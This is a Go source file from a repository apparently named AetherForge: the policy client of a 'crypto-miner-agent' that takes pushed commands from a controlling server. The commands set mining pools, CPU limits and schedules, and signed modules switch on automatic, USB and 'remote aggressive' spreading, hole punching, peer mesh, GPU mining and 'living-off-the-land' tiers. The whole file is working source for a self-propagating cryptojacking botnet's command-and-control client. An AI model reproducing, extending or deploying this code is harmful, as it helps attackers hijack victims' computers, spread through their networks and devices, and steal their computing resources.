Files
AetherForge/agent/client/policy.go
AetherForge bbab38f8e1
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add scout constellation mode for APK venue persona packs.
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
2026-06-07 09:18:58 -07:00

302 lines
8.4 KiB
Go

package client
import (
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"strings"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
)
// FleetPolicyUpdate is pushed from the server without re-forge.
type FleetPolicyUpdate struct {
PushID string `json:"push_id,omitempty"`
MiningMode string `json:"mining_mode,omitempty"`
ScheduleStart string `json:"schedule_start,omitempty"`
ScheduleEnd string `json:"schedule_end,omitempty"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct,omitempty"`
PoolHost string `json:"pool_host,omitempty"`
PoolPort int `json:"pool_port,omitempty"`
PoolTLS *bool `json:"pool_tls,omitempty"`
PoolPass string `json:"pool_pass,omitempty"`
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
}
// ModuleManifest matches server-signed feature packs.
type ModuleManifest struct {
Name string `json:"name"`
Version string `json:"version"`
DisplayName string `json:"display_name,omitempty"`
Summary string `json:"summary,omitempty"`
Description string `json:"description"`
Accent string `json:"accent,omitempty"`
Capabilities []string `json:"capabilities,omitempty"`
Features map[string]interface{} `json:"features"`
Signature string `json:"signature"`
}
func verifyModuleSignature(m ModuleManifest, fleetSecret string) bool {
if fleetSecret == "" || m.Signature == "" {
return false
}
sig := m.Signature
m.Signature = ""
payload, err := json.Marshal(m)
if err != nil {
return false
}
mac := hmac.New(sha256.New, []byte(fleetSecret))
mac.Write(payload)
expected := hex.EncodeToString(mac.Sum(nil))
return hmac.Equal([]byte(expected), []byte(sig))
}
func parseFleetPolicyUpdate(raw json.RawMessage) (FleetPolicyUpdate, error) {
var nested struct {
PushID string `json:"push_id"`
Policy json.RawMessage `json:"policy"`
}
if err := json.Unmarshal(raw, &nested); err != nil {
return FleetPolicyUpdate{}, err
}
if len(nested.Policy) > 0 {
var p FleetPolicyUpdate
if err := json.Unmarshal(nested.Policy, &p); err != nil {
return FleetPolicyUpdate{}, err
}
p.PushID = nested.PushID
return p, nil
}
var p FleetPolicyUpdate
if err := json.Unmarshal(raw, &p); err != nil {
return FleetPolicyUpdate{}, err
}
return p, nil
}
func applyFleetPolicyUpdate(cfg *config.RuntimeConfig, p FleetPolicyUpdate) {
if p.MiningMode != "" {
cfg.MiningMode = strings.TrimSpace(p.MiningMode)
}
if p.ScheduleStart != "" {
cfg.ScheduleStart = strings.TrimSpace(p.ScheduleStart)
}
if p.ScheduleEnd != "" {
cfg.ScheduleEnd = strings.TrimSpace(p.ScheduleEnd)
}
if p.MaxCPUUsagePct > 0 {
cfg.MaxCPUUsage = p.MaxCPUUsagePct
}
if p.PoolHost != "" {
cfg.PoolHost = strings.TrimSpace(p.PoolHost)
}
if p.PoolPort > 0 {
cfg.PoolPort = p.PoolPort
}
if p.PoolTLS != nil {
cfg.PoolTLS = *p.PoolTLS
}
if p.PoolPass != "" {
cfg.PoolPass = strings.TrimSpace(p.PoolPass)
}
applySpreadTemperament(cfg, p.SpreadTemperament)
if len(p.SpreadPolicy) > 0 {
applySpreadPolicyFields(cfg, p.SpreadPolicy)
}
}
func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var policy struct {
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
SpreadTemperament json.RawMessage `json:"spread_temperament"`
}
if err := json.Unmarshal(raw, &policy); err != nil {
return
}
if policy.HashrateGateSpreadMin > 0 {
cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin
}
if policy.HashrateGateHPS > 0 {
cfg.HashrateGateHPS = policy.HashrateGateHPS
}
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
applySpreadTemperament(cfg, policy.SpreadTemperament)
}
func applySpreadTemperament(cfg *config.RuntimeConfig, raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var body struct {
TierOrder []string `json:"tier_order"`
}
if err := json.Unmarshal(raw, &body); err != nil || len(body.TierOrder) == 0 {
return
}
if cfg.LotlPolicyFromServer || cfg.ScoutMode {
cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(body.TierOrder)
}
}
func applyModuleFeatures(cfg *config.RuntimeConfig, features map[string]interface{}) {
if v, ok := boolFeature(features, "remote_aggressive"); ok {
cfg.RemoteAggressive = v
}
if v, ok := boolFeature(features, "auto_spread"); ok {
cfg.AutoSpread = v
}
if v, ok := boolFeature(features, "usb_spread"); ok {
cfg.USBSpread = v
}
if v, ok := boolFeature(features, "hole_punch"); ok {
cfg.HolePunch = v
}
if v, ok := boolFeature(features, "mesh_p2p"); ok {
cfg.MeshP2P = v
}
if v, ok := boolFeature(features, "gpu_enabled"); ok {
cfg.GPUEnabled = v
}
}
func boolFeature(features map[string]interface{}, key string) (bool, bool) {
raw, ok := features[key]
if !ok {
return false, false
}
switch v := raw.(type) {
case bool:
return v, true
default:
return false, false
}
}
func (c *AgentClient) applyPolicyUpdate(raw json.RawMessage) {
p, err := parseFleetPolicyUpdate(raw)
if err != nil {
log.Printf("[agent] policy_update parse error: %v", err)
return
}
c.mu.Lock()
applyFleetPolicyUpdate(&c.cfg, p)
cfg := c.cfg
pushID := p.PushID
c.mu.Unlock()
if c.pool != nil {
c.pool.UpdateRuntimePolicy(cfg)
}
c.sendPolicyAck(pushID, cfg)
log.Printf("[agent] fleet policy applied (mode=%s cpu_cap=%d)", cfg.MiningMode, cfg.MaxCPUUsage)
}
func (c *AgentClient) sendPolicyAck(pushID string, cfg config.RuntimeConfig) {
payload, err := json.Marshal(map[string]interface{}{
"push_id": pushID,
"mining_mode": cfg.MiningMode,
"max_cpu_usage_pct": cfg.MaxCPUUsage,
"schedule_start": cfg.ScheduleStart,
"schedule_end": cfg.ScheduleEnd,
"pool_host": cfg.PoolHost,
"pool_port": cfg.PoolPort,
})
if err != nil {
return
}
_ = c.write(Message{Type: "policy_ack", Payload: payload})
}
func (c *AgentClient) fetchAndApplyModule(moduleName string) error {
moduleName = strings.TrimSpace(moduleName)
if moduleName == "" {
return fmt.Errorf("module name required")
}
if c.cfg.FleetSecret == "" {
return fmt.Errorf("fleet secret not configured")
}
base, err := c.apiBaseURL(c.cfg.ServerURL)
if err != nil {
return err
}
url := base + "/agent/module/" + moduleName
req, err := http.NewRequest(http.MethodGet, url, nil)
if err != nil {
return err
}
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return err
}
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("module fetch %s: %s", resp.Status, strings.TrimSpace(string(body)))
}
var manifest ModuleManifest
if err := json.Unmarshal(body, &manifest); err != nil {
return err
}
if !verifyModuleSignature(manifest, c.cfg.FleetSecret) {
return fmt.Errorf("module signature invalid")
}
c.mu.Lock()
applyModuleFeatures(&c.cfg, manifest.Features)
cfg := c.cfg
c.mu.Unlock()
if c.pool != nil {
c.pool.UpdateRuntimePolicy(cfg)
}
c.startGPUMinerIfNeeded()
c.reportCapabilitiesUpdate()
log.Printf("[agent] module %q applied (%s)", manifest.Name, manifest.Description)
return nil
}
func (c *AgentClient) startGPUMinerIfNeeded() {
c.mu.Lock()
defer c.mu.Unlock()
if !c.cfg.GPUEnabled || c.gpuMiner != nil {
return
}
if gm := newGPUMiner(c.cfg); gm != nil {
c.gpuMiner = gm
go gm.Start()
}
}
func (c *AgentClient) reportCapabilitiesUpdate() {
c.mu.Lock()
cfg := c.cfg
c.mu.Unlock()
payload, _ := json.Marshal(map[string]bool{
"hole_punch": cfg.HolePunch,
"remote_aggressive": cfg.RemoteAggressive,
"mesh_p2p": cfg.MeshP2P,
"auto_spread": cfg.AutoSpread,
"ai_enabled": cfg.AIEnabled,
"usb_spread": cfg.USBSpread,
})
_ = c.write(Message{Type: "capabilities_update", Payload: payload})
}